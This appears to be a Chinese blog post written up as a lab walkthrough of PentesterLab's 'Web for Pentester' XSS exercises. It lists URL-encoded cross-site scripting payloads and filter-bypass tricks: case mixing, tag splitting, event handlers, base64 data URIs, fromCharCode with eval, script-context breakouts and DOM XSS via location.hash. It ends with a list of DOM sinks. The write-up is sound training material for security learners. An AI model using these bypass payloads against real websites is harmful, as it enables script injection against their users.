PentesterLab练习 - XSS

传统漏洞之前学习过一段时间,但在实际工作中用的并不顺手,我想找个系统点的靶场来进行练习,于是找到了Web for Pentester。

Web for Pentester是PentesterLab提供的靶场,ISO下载地址:https://www.pentesterlab.com/exercises/web_for_pentester/attachments

 

example1

基本xss:

/xss/example1.php?name=%3Cscript%3Ealert(/xss/)%3C/script%3E

<script>alert(/xss/)</script>   

example2

<script>和</script>被过滤,用大小写绕过:

/xss/example2.php?name=%3CScriPt%3Ealert(/xss/)%3C/sCript%3E

<ScriPt>alert(/xss/)</sCript> 

example3

字符拼接方式绕过:

/xss/example3.php?name=%3Cscr%3Cscript%3Eipt%3Ealert(/xss/)%3C/scr%3C/script%3Eipt%3E

<scr<script>ipt>alert(/xss/)</scr</sCript>ipt>  

example4

script彻底屏蔽,换一个标签:

/xss/example4.php?name=<img%20src=%27%27%20onerror="alert(%27xss%27);">

<img src='' onerror="alert('xss');">
<div onmouseover=alert(/xss/)>123</div> (html元素支持的事件都可以用:onclick, onmousemove,onmouseout,onfocus......)
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiZGF0YSIpOzwvc2NyaXB0Pg==">

example5

过滤了alert:

/xss/example5.php?name=<script>prompt(%27xss%27)</script>

<script>prompt('xss')</script>
<script>confirm('xss')</script>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiZGF0YSIpOzwvc2NyaXB0Pg==">
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script> (ascii对照表:https://www.fujieace.com/jingyan/ascii.html)

example6

输入放到script标签里面了,自己构造脚本就好( \\ 是js的注释符):

/xss/example6.php?name=";alert(%27xss%27);//

";alert('xss');//

example7

example6的双引号换成单引号:

/xss/example7.php?name=%27;alert(%27xss%27);//

name=';alert('xss');//

example8

居然还可以这样。。。

"><script>alert(1)</script>   

 

example9

用到locaiton.has,DOM型xss。

/xss/example9.php#<script>alert(/xss/)</script>,理论上来说这样应该可行,实际上不行,<>被编码了,无法弹出alert:

hmm...查了一下资料,这里的编码并不是咱们能控制的,与不同浏览器内部解释机制有关。。chrome和firefox都会对<>编码,然鹅,ie木有(这么看来ie不能卸!!)  

 

常见的DOX XSS注入点:

  • document.URL
  • document.documentURI
  • location.href
  • location.search
  • location.*
  • window.name
  • document.referrer
  • document.write
  • (element).innerHTML
  • (element).src (in certain elements)
  • eval
  • setTimout / setInterval
  • execScript
